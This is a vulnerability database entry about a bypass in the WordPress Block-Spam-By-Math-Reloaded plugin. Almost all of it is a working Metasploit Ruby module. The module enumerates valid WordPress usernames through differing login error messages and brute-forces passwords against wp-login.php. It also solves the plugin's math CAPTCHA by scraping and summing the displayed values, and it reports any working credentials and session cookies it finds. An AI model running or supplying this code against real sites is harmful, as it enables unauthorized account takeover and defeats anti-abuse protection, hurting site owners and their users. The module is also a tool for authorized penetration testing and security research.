Lucene search

K
seebugRootSSV:20883
HistoryAug 20, 2011 - 12:00 a.m.

WordPress Block-Spam-By-Math-Reloaded Plugin Bypass

2011-08-2000:00:00
Root
www.seebug.org
15

No description provided by source.


                                                ##
# $Id: wordpress_login_enum.rb 12196 2011-04-01 00:51:33Z egypt $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::Scanner
 
 
    def initialize
        super(
            'Name'           => 'Wordpress Brute Force and User Enumeration Utility',
            'Version'        => '$Revision: 12196 $',
            'Description'    => 'Wordpress Authentication Brute Force and User Enumeration Utility',
            'Author'         => [
                'Alligator Security Team',
                'Tiago Ferreira <tiago.ccna[at]gmail.com>',
        'Heyder Andrade <heyder[at]alligatorteam.org>' # Block-Spam-By-Math-Reloaded Bypass
        ],
            'References'     =>
                [
                    ['BID', '35581'],
                    ['CVE', '2009-2335'],
                    ['OSVDB', '55713'],
                ],
            'License'        =>  MSF_LICENSE
        )
 
        register_options(
            [ Opt::RPORT(80),
                OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
                OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),
                OptBool.new('BSBM_BYPASS', [ true, "Block-Spam-By-Math-Reloaded Bypass ", false]),
                OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
        ], self.class)
 
    end
 
    def target_url
        "http://#{vhost}:#{rport}#{datastore['URI']}"
    end
 
 
    def run_host(ip)
        if datastore['VALIDATE_USERS']
            @users_found = {}
            vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
            each_user_pass { |user, pass|
                do_enum(user)
            }
 
            unless (@users_found.empty?)
                print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
            end
        end
 
        if datastore['BRUTEFORCE']
            vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")
            if datastore['VALIDATE_USERS']
                if @users_found && @users_found.keys.size > 0
                    vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
                else
                    vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")
                    return
                end
            end
            each_user_pass { |user, pass|
                if datastore['VALIDATE_USERS']
                    next unless @users_found[user]
                end
                    do_login(user, pass)
            }
        end
    end
 
    def do_enum(user=nil)
        post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"
        print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")
 
        begin
 
            res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => datastore['URI'],
                'data'    => post_data,
            }, 20)
 
 
            valid_user = false
 
            if (res and res.code == 200 )
                if (res.body.to_s =~ /Incorrect password/ )
                    valid_user = true
 
                elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )
                    valid_user = true
 
                else
                    valid_user = false
 
                end
 
            else
                print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")
                return :abort
 
            end
 
            if valid_user
                print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")
                report_auth_info(
                    :host => rhost,
                    :sname => 'http',
                    :user => user,
                    :port => rport,
                    :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
                )
 
                @users_found[user] = :reported
                return :next_user
            else
                vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")
                return :skip_user
            end
 
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
    end
 
  def smartaleck(values)
    answer = 0
    values.each { |a| answer+=a.to_i }
    return answer
  end
 
  def getvalues(response)
    i = 0
    values = []
    while (i <= 1) do
        response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)})
        values[i] = $3
        i += 1
    end
    return values
  end
 
  def baserequest()
    begin
    res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => datastore['URI'],
      }, 20)
    return res
    end
  end
 
 
    def do_login(user=nil,pass=nil)
    if (datastore['BSBM_BYPASS'])
      v = getvalues(baserequest())
      sec_answer = smartaleck(v)
          post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&mathvalue2=#{sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&&wp-submit=Login"
    else
          post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"
          vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
    end
 
        begin
 
            res = send_request_cgi({
                'method'  => 'POST',
                'uri'     => datastore['URI'],
                'data'    => post_data,
            }, 20)
 
            if (res and res.code == 302 )
                if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)
                    print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
                    report_auth_info(
                        :host => rhost,
                        :port => rport,
                        :sname => 'http',
                        :user => user,
                        :pass => pass,
                        :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",
                        :active => true
                    )
 
                    return :next_user
                end
 
                print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")
                return :abort
 
            elsif res.body.to_s =~ /login_error/
                vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")
                return
            else
                print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res
                return :abort
            end
 
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
    end
end